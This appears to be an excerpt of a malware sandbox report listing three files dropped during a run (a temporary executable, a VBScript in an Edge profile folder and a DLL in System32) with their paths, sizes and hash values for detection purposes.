- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe
- Size 1.1MB
- SHA256 f514040f57487de6eb6a06d42f860ceacc63b43fea4433313b478df1ca5892ba
- MD5 c65c4fe88aad8013b04af1b781eaed01
- SHA1 b1b639f44c7ad1aa7e56be9f95bd0cede6e0fe14
- SHA512 b3e817c83247cc4d12d2acf027f673daa9269f720026b8eb4295ccbe5cafd7bda33003caa7a0f723cc58bb285f811f64f934044cb16733ca9878539ef654fcef
- SSDEEP 12288:fK0jHoKBnXQ+ckNS8liXV57kIU5x4znRulqfa+JHnr6l52Al:fjHxN5QY4znRulqfBJHne7
- TLSH T17C356B0AB7A902E5D077D0B9C9925A19FAB1789A4330A7C747E09B5B1F277F05E3E310
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
- Size 317B
- SHA256 d868fc0446f2b91f4ebe8d1ec0282de4be43b8f9583bc947ff5e0ce8a3d82910
- MD5 20a509a72137f530c8dc78e88424a431
- SHA1 2e3ed8a79461b3ac1cd28766dfe28ac2150b1abf
- SHA512 f075fe6c53746f324fd39c6beee6dd33217b3723e4fd4d6d6bbacdeb8962cdb474cf00e29d059d930eddfa28a1072855ac9861c954ca66564b08dd28ed011f9d
- TLSH T145E07D397C4DE036820921D590155D8549794FB78825E1DA19E856D07227AB42BA66C3
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\e2szvmgwm3omcw.dll
- Size 2.9MB
- SHA256 c2ff3130b6016cd3a697adff5826520d855d2fb6d08dfe3c990f5ffee1730230
- MD5 857640735a60c64b3e7ef1073b9a7395
- SHA1 0f1b884e407748beefaaeefc8c4b938eb57dc75d
- SHA512 eee8cc5144735f81b082b575bbb97cbe4ee5df0c85a2bb898636b7390b2a1b67ee08c86969806acad78648497363fc482d31864ecfba1e8b75af96ed3b884ab6
- SSDEEP 49152:bdn4ptPR7B4HmtI3oBplA5Nz4fz1qWh8ljt7/3q5Dk:B4PPVB4Gy3oBplA5Nz4fz11h8ljt7/3L
- TLSH T190E54C47A7CB8CF5CC933B7479DF13396321EE305B6A4E2F554481B4A8832D6AE1AB41
- MD5 SHA1 SHA512 SSDEEP TLSH